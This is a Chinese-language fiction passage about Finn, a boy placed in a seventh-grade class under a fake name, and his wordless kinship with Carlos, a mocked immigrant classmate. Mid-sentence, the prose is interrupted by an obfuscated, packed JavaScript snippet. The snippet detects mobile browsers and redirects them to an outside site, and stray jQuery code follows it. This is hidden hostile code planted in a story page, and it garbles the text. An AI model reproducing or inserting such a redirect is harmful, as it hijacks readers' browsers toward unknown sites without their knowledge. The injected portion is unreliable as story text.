转学手续简单得像擦掉黑板上的字。“约翰·史密斯”的档案干净得没有指纹，他被安插进春季学期七年级的一个班级。
第一天，他攥着那张假课程表，推开教室门。喧哗声像一堵湿热的墙，然后猛地一静。
几十道目光——好奇的、无聊的、带着睡意的——齐刷刷钉在他身上。感觉像一下子被扒光了扔在聚光灯下。
左前方，一个穿着崭新球鞋的男生，目光从他洗得发白的帆布鞋上掠过，嘴角往下一耷拉，毫不掩饰地翻了个白眼，扭头就对同桌嘀咕：“看那鞋。”
中间，几个女生迅速交换了一下眼神，其中一个挑了挑眉，视线像刷子一样扫过他参差不齐的头发和过大的衬衫，然后撇撇嘴，转回了头，意思明确：“没意思。”
后排有人吹了声短促而模糊的口哨，不知道是针对他还是针对这尴尬的安静。
空气里弥漫着一种等待的、看戏的沉默。所有人，包括打着哈欠的人，都在等——等老师介绍，等他开口，等一个可以迅速给这个“新来的”定性的瞬间。
老师的声音干巴巴地插进来：“约翰·史密斯。新同学。” “约翰·史密斯” 这个名字像颗小石子扔进死水，激起几声没压住的嗤笑。假。太假了。连名字都像从流水线上随便捡的。
老师随手指了指后排一个空位。芬恩走过去，椅子腿刮过地板，发出尖锐的“吱嘎——”一声。好几道不耐烦的视线立刻像针一样扎过来。
他坐下，把那个灰扑扑的帆布书包塞进桌肚。手指有点僵，但心跳很平。这种被当成异物审视的感觉，他习惯了。只不过街头的目光带着贪婪的估价，这里的目光带着无聊的评判。底层逻辑没变：你不一样，所以我们有权对你指指点点。
他开始执行唯一正确的程序：缩小存在感。低头，肩膀微微内收，目光落在课本边缘一个早就存在的、被圆珠笔划烂的涂鸦上。像一个信号：我无害，我无聊，别看我了。
慢慢的，那些黏在他皮肤上的目光开始一根根松开。前排的男生掏出了手机，女生们传起了纸条，看漫画的又埋进了书里。课堂的嗡嗡声重新弥漫开来，将他吞没。
芬恩心里那根绷紧的弦，松了第一扣。
第一关，不是过了，是暂时没人想闯了。他被贴上了“无聊的新怪胎”标签，扔进了教室背景噪音里。
而这，正是他想要的。
他像一滴试图混入污水的油，表面维持着勉强的平静。
打破这平静的，是卡洛斯·门多萨。
卡洛斯坐在他斜前方，一个总是试图把自己缩进旧外套里的墨西哥男孩。他的英语带着浓重的卷舌音，每次被点名读课文，教室里就会泛起一阵压抑的、带着优越感的窃笑。芬恩注意到他，不是因为同情，而是因为一种冰冷的识别：卡洛斯身上那种“被系统标记为错误”的紧绷感，和他自己走在芝加哥街头时，脊柱窜过的那阵僵硬，形状一模一样。
一天生物课，两人被随机分到一组解剖青蛙。卡洛斯对着实验手册上的术语一脸茫然，镊子在他手里抖得像风中的叶子。芬恩没说话，直接拿过工具，利落地剖开腹腔，找到心脏，用平板的语调口述观察结果：“心室仍在轻微收缩。神经束暴露。”
“为、为什么帮我？”卡洛斯记录完，声音细得几乎听不见，眼睛盯着青蛙绿色的皮肤。
芬恩正在冲洗器械。水流声哗哗作响。为什么？他脑子里没有清晰的答案。或许是因为那双手抖得太难看了，或许是因为眼前这具被剖开的冰冷尸体，和记忆里某个更黑暗的画面产生了重叠。又或许，仅仅是因为和卡洛斯待在一起，他不需要表演“正常”——他们共享着“局外人”的磁场，这让他的神经可以暂时松懈一会。
“你的记录没写错单词。”芬恩最终说，声音没有起伏。他没说“你英语不好”，也没说“他们欺负你”。他给了一个基于事实的、中性的反馈。这是他唯一懂得给出的东西，也是卡洛斯可能最需要的东西——不掺杂怜悯的平等对待。
卡洛斯飞快地抬头看了他一眼，那眼神里有惊讶，也有一种卸下重负后的空洞。那之后，他们之间形成了一种无言的默契。不在走廊交谈，但如果在楼梯转角遇见，卡洛斯会极轻微地点头；午餐时如果柱子后的位置空着，他们会沉默地共享，像两艘在暴风雨边缘暂时并排停泊的破船，互不干扰，但共享同一种颠簸。
这份连接薄得像保鲜膜，却让芬恩隐约触碰到了某种陌生的东西。不是友谊，更像是一种生存状态的共鸣。
某天午休，卡洛斯悄悄拿出手机，插着耳机看视频。芬恩瞥见一眼屏幕——不是英语，画面里是绿色草坪和一群穿着鲜艳球衣奔跑的人。卡洛斯看得专注，嘴角甚至有一丝几乎看不见的、放松的弧度。
芬恩收回目光，继续啃他的三明治。他对那项运动毫无感觉，那些奔跑和呼喊在他看来毫无效率。但那一刻，他模糊地意识到：这个被教室里的嗤笑压得抬不起头的男孩，在另
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179341|196939||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一个由语言和图像构成的系统里，拥有一个完整的、旁人无法侵入的世界。
这个认知，像一颗小小的石子，投进他冰封的内心湖面，没有激起涟漪，只是缓缓沉底。
几天后放学，下雨。两人都没伞，缩在体育馆后门的狭窄屋檐下。雨水在眼前织成灰色的帘幕。卡洛斯看着雨，用西班牙语低声咒骂了一句，语气里的疲惫浓得化不开。
芬恩没听懂，但听懂了那语气。他忽然想起自己用德语背诵语法时，那种试图在混乱中抓住一点秩序的徒劳感。语言，有时候不是桥梁，反而是更深的围墙。
“你说什么？”芬恩问，不是好奇，更像是一种维持对话惯性的机械反应。
卡洛斯愣了一下，有些尴尬：“我说……这该死的雨。在我老家，这种雨一会儿就停，太阳会出来。在这里，”他扯了扯湿漉漉的衣角，“好像永远也干不了。”
芬恩看着雨。芝加哥的天空是一种永恒的、令人绝望的灰。
“那就别想着怎么让衣服变干。”他听见自己说，声音平静得像在陈述一个数学公式，“想想怎么走到一个不下雨的地方。”
卡洛斯转过头，第一次认真地、长时间地看向芬恩。芬恩没有回视，侧脸在潮湿的空气里显得模糊而坚硬。卡洛斯从这个冷漠的侧影里，似乎咂摸出了一点别的东西。那不是安慰，是某种更坚硬、更残酷、但也更真实的东西——一种拒绝被浸透的姿势。
雨小了些。两人一前一后，沉默地走入依然细密的雨丝中，朝着不同方向走去。
芬恩走在回家的路上，雨水顺着他的旧外套往下淌。他想起卡洛斯看足球时那一闪而过的放松，想起他说起老家时那句疲惫的咒骂。然后，一个更冷的念头，像水底的暗流，缓缓涌上：
卡洛斯也许能在这里读完高中，也许不能。他的口音会永远带着标签。他最后会去做最累的活，拿最低的工资，永远活在那些嗤笑的延长线上。
而自己呢？
如果逃不出去，他会不会成为另一种形式的卡洛斯？一个因为“过于扎眼”而被系统识别、排斥、并最终磨平所有棱角的“高级错误”？
这个联想让他胃部发紧。卡洛斯不是他的朋友，是他命运的一个可能的分支，一个他必须全力避免坠入的、具体而微的深渊。
他想离开，不仅仅是为了安全。
是为了不要变成那样。
雨水冰冷。倒计时在他心跳的间隙里，无声地走了一格。